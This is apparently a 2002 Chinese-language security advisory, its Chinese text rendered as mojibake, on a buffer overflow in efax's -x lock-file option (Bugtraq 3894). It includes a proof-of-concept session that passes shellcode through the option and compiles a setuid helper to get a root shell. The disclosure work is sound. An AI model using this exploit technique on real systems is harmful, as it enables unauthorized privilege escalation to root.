EFax UUCP-style Lock ÎļþÃüÁîÐÐÑ¡Ïî´æÔÚ»º³åÒç³ö·¢²¼Ê±¼ä£º2002-01-19 ¸üÐÂʱ¼ä£º2002-01-19 ÑÏÖØ³Ì¶È£º¸ß Íþв³Ì¶È£ºÈ¨ÏÞÌáÉý ´íÎóÀàÐÍ£º±ß½ç¼ì²é´íÎó ÀûÓ÷½Ê½£º·þÎñÆ÷ģʽ BUGTRAQ ID£º3894 ÊÜÓ°Ïìϵͳ efax efax 0.8aÏêϸÃèÊö efaxÊÇÒ»¿îLINUXϵĴ«Õ湤¾ß¡£ ÆäÖÐÔÚ¶Ôuucp-styleËøÎļþÑ¡ÏîûÓкܺõĽøÐб߽ç¼ì²é£¬-x¿ª¹Ø»á²úÉú»º³åÒç³ö¶øµ¼ÖÂÈÎÒâÃüÁî¿ÉÖ´ÐС£ ²âÊÔ´úÂë Running /bin/id: hdm@sliver> efax -x $EX efax: Wed Jan 16 03:43:10 2002 efax v 0.9a-001114 Copyright 1999 Ed Casas efax: Wed Jan 16 03:43:10 2002 efax v 0.9a-001114 Copyright 1999 Ed Casas efax: 43:10 compiled Aug 16 2001 10:23:23 efax: 43:10 Error: can't open pre-lock file <nops>ë^)ÀˆF¡ëF ¡ë¡ã ‡¨®S Í€)À@Í€¨¨Þÿÿÿ/bin/idAÿ¿/TMP..08795: File name too long uid=500(hdm) gid=100(users) euid=0(root) groups=100(users) Getting a root shell: hdm@sliver > echo 'void main(void){setuid(0);system("/bin/sh");}' > /tmp/ex.c hdm@sliver > gcc -o /tmp/ex /tmp/ex.c /tmp/ex.c: In function `main': /tmp/ex.c:1: warning: return type of `main' is not `int' hdm@sliver > export EX=`perl genshell.pl 1029 $ADDR` shell code is: 43 bytes hdm@sliver > efax -x $EX efax: Wed Jan 16 03:46:21 2002 efax v 0.9a-001114 Copyright 1999 Ed Casas efax: Wed Jan 16 03:46:21 2002 efax v 0.9a-001114 Copyright 1999 Ed Casas efax: 46:21 compiled Aug 16 2001 10:23:23 efax: 46:21 Error: can't open pre-lock file <nops>ë^)ÀˆF¡ëF ¡ë¡ã ‡¨®S Í€)À@Í€¨¨Þÿÿÿ/tmp/exAÿ¿/TMP..08846: File name too long sh-2.04# ½â¾ö·½°¸ ±£Ö¤efax²»ÒÔsetuid root Ïà¹ØÐÅÏ¢ ²Î¿¼£ºhttp://www.securityfocus.com/archive/1/250837 |